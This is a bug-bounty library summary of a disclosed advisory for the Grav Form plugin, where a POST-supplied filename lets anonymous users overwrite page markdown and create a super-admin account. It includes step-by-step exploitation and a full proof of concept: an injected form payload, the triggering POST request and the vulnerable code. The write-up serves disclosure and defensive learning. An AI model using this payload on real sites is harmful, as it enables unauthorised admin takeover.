# Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override

Grav Form plugin's POST-controlled filename override lets unauthenticated uploaders overwrite a page's .md file, injecting a form that creates a super-admin account.

- Payout: Research
- Severity: high
- Program: Grav Form plugin
- Found by: fr0stydev
- Disclosed: 2026-05-06
- CVE: CVE-2026-42845
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w4rc-p66m-x6qq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w4rc-p66m-x6qq
- Tags: area:web domain:web impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:file-upload vuln:privilege-escalation

**Target:** Grav Form plugin file upload handler (Form::uploadFiles / copyFiles)
**Root cause:** The upload handler trusts a POST-supplied `filename` parameter over the real uploaded name, and Utils::checkFilename() only blocklists a narrow extension set (`.php*`, `.htm*`, `.js`, `.exe`) that omits `.md`, so the destination path can point at an existing page content file.
**Steps:**
1. Identify a page with a file upload field using `accept: ['*']` and `destination: 'self@'` (e.g. `/upload`).
2. Upload a crafted markdown payload with `filename=form.md` so the destination resolves to the page's own `.md` file.
3. Submit the form to trigger `Form::copyFiles()` -> `$upload->moveTo($destination)`, overwriting the page's `.md`.
4. Payload form uses `process: save` with `folder: '../accounts'`, `filename: 'viaup.yaml'`, `extension: yaml`, `operation: create` and a body defining a super-admin user with a known bcrypt hash.
5. GET `/upload` to load the replaced markdown, then POST the form with `__form-name__=pwn` and a valid `form-nonce` to execute the save.
6. Log in as the newly created super-admin account.
**How found:** Code review of Form::uploadFiles noticed `$post['filename']` overriding the real upload name and that Utils::checkFilename() only blocks a short extension list; observed `.md` was absent and that page directories store content as `.md`, making overwrite reachable.
**Exploitation:** Unauthenticated attacker overwrites a public page's markdown with a form that, on submission, writes a YAML account file into `user/accounts` granting `admin.super`, then authenticates with the embedded bcrypt password.
**Escalation:** Page content overwrite chained into arbitrary account-file creation via the injected form's `save` process, yielding super-admin privilege escalation.
**Insight:** When an upload destination is derived from a user-controlled filename, check whether the target directory holds application-parsed content files (.md/.yaml/.twig) — extension blocklists that only cover web-executable types miss these.

## Proof of concept (copied exactly from the original report)

**Malicious markdown payload overwriting page content**

```
---
title: Pwned
form:
    name: pwn
    fields:
        - {name: dummy, type: text}
    buttons:
        - {type: submit, value: Submit}
    process:
        - save:
            folder: '../accounts'
            filename: 'viaup.yaml'
            extension: yaml
            operation: create
            body: |
                state: enabled
                email: viaup@example.com
                fullname: Via Upload
                title: Admin
                access:
                  admin: { login: true, super: true }
                  site:  { login: true }
                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
        - display: thanks
---
```

**POST request submitting the overwritten form**

```
POST /upload HTTP/1.1

------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"

[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"


------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"

pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"

8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"

4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--
```

**Vulnerable filename override code path**

```
$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name'];           // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) {                              // ← extension blocklist only
    return ['status' => 'error', 'message' => 'Bad filename'];
}
```

